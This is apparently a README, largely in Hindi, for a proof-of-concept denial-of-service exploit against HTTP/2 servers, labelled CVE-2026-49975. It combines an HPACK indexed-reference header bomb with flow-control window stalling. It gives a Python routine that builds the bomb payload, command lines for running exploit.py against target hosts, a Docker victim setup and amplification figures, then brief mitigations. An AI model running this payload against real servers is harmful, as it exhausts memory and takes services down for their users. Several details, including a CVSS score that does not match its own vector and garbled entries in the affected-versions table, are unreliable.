
PoC exploit for CVE-2026-49975 HTTP/2 Bomb DoS vulnerability. HPACK अनुक्रमित संदर्भ बम को फ्लो-कंट्रोल विंडो स्टॉल के साथ जोड़कर एकल कनेक्शन के माध्यम से सर्वर मेमोरी को खत्म करने का प्रदर्शन करता है।
CVE-2026-49975 HTTP/2 सर्वर और प्रॉक्सी कार्यान्वयनों में एक गंभीर सेवा-अस्वीकृति (DoS) भेद्यता है। इस हमले को, जिसे "HTTP/2 बम" या "HPACK बम" कहा जाता है, HTTP/2 प्रोटोकॉल के दो डिज़ाइन-स्तरीय व्यवहारों का शोषण करके लक्ष्य को असीमित मेमोरी खपत (OOM) और CPU थकावट में धकेलता है:
CVSS 3.1 बेस स्कोर: 9.8 (गंभीर)
वेक्टर: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
यह हमला सबसे प्रभावी होता है जब दोनों चरण एक-दूसरे के पूरक हों, लेकिन कुछ कार्यान्वयनों के विरुद्ध प्रत्येक चरण अकेले ही पर्याप्त है।
HTTP/2 का HPACK हेडर संपीड़न एक विकसित होने वाली गतिशील तालिका का उपयोग करता है। एक बार जब एक बड़ा कुकी हेडर तालिका में डाल दिया जाता है (Literal+Incremental Encoding के माध्यम से), तो एक हमलावर उस प्रविष्टि को 1-बाइट ऑपकोड के साथ संदर्भित कर सकता है। बार-बार संदर्भ देने से डिकोडर उसी हेडर को बार-बार पुनर्निर्मित करता है।
Wire: [Opcode: Indexed (0x80)] [Index: 63]
[1 byte per ref, repeated thousands of times]
↓
Decoded memory blow-up: each expansion yields a
{":method: GET", "cookie: a=xxxxxxxxx...x"} buffered for the
stream.
एक 5 KB पैकेट सैकड़ों मेगाबाइट डिकोड किए गए पेलोड तक बढ़ सकता है।
INITIAL_WINDOW_SIZE=0 के साथ SETTINGS विक्टिम को
सभी HEADERS/continuation डेटा कतारबद्ध करने के लिए मजबूर करता है। हमलावर
WINDOW_UPDATE फ़्रेम धीरे-धीरे रिसाता है। बफ़र्स संयोजनात्मक रूप से भरे रहते हैं।
| तंत्र | प्रवर्धन कारक |
|---|---|
| कच्चा HEADERS बॉडी | 1x |
| HPACK ref विस्फोट | 20–80x |
| + समवर्ती स्ट्रीम्स | 100–500x |
| + विंडो स्टॉलिंग | 1000x+ |
| विक्रेता / प्रोजेक्ट | संस्करण | विवरण |
|---|---|---|
| Apache mod_http2 | < 2.0.13 | इंडेक्स्ड ref विस्फोट पर OOM |
| nghttp2 | < 1.62.0 | असीमित मेमोरी ब्लोट |
| h2o | < 4.0.2 | डिकोडर में अनंत लूप |
| Node.js http2 crate | < 1.12.0 | nghttp2-rs में अंतर्निहित विस्तार |
| Go net/http (h2) | < 1.24 | goroutine हैंग + OSL alloc |
| Apache Traffic Server | < 9.3.0 | आंतरिक बफ़र के माध्यम से OOM |
| HAProxy h2 | < 2.9 | अत्यधिक आकार के AVP पर क्रैश |
| Envoy | < 1.30 | फ़्लो-कंट्रोल में भारी आवंटन |
| Rust hyper/h2 crate | < 5.14 | ओवरफ़्लो SK पर पैनिक |
सटीक सीमाओं के लिए अपने विक्रेता की CVE प्रविष्टि देखें।
# Python 3.8+ with ssl support
python --version
# SSL Certificate optional; PoC sets CERT_NONE
Docker त्वरित-विक्टिम:
docker run -d --name h2-victim -p 4433:443 \
nghttp2/nghttp2:1.57.0 nghttpd --dh-param-file /dev/null
सहयोगी स्क्रिप्ट exploit.py है।
मुख्य रूटीन:
def build_hpack_bomb(num_headers: int = 20000) -> bytes:
cookie_name = b"cookie"
cookie_value = "a=" + "y" * 128
data = bytearray()
# Step 1: insert cookie into dynamic table
data.append(0x40) # Literal+incremental
data.extend(encode_hpack_int(len(cookie_name), 7))
data.extend(cookie_name)
data.extend(encode_hpack_int(len(cookie_value), 7))
data.extend(cookie_value.encode())
# Step 2: spam Indexed refs (index 63)
for _ in range(num_headers):
data.append(0x80)
data.extend(encode_hpack_int(63, 7))
return bytes(data)
स्क्रिप्ट निम्नलिखित कार्य करती है:
# Basic run (default 10000 refs)
python exploit.py 192.168.1.100
# Custom port + 20000 refs
python exploit.py server.local 8443 -n 20000
# Disable window stall
python exploit.py endpoint.com --no-stall
# Longer observation (60 seconds)
python exploit.py 10.0.0.5 -d 60
# Verbose
python exploit.py 10.0.0.5 -v
पीड़ित के संसाधनों की निगरानी करें:
watch -n1 'free -h && echo "--- top CPU/PID ---"'
ps -o pid,rss,pcpu,comm -p <victim_pid>
हमले के काम करने के संकेत:
| दृष्टिकोण | सेटिंग |
|---|---|
| प्रति स्ट्रीम हेडर सीमित करें | MaxHeaderCount 500 |
| कम-संपीड़न अस्वीकार करें | अनुपात सीमा < 5 |
| HPACK वृद्धि को सीमित करें | डायनामिक टेबल को 1 KB तक सीमित करें |
| प्रति-कनेक्शन मेमोरी | N MB के बाद अस्वीकार करें |
| दर सीमित करना | सामान्य conn/s, req/s |
यह जानकारी केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण के लिए है। केवल उन सिस्टमों के विरुद्ध चलाएँ जिनके आप स्वामी हैं या जिनका परीक्षण करने के लिए आपके पास लिखित अनुमति है।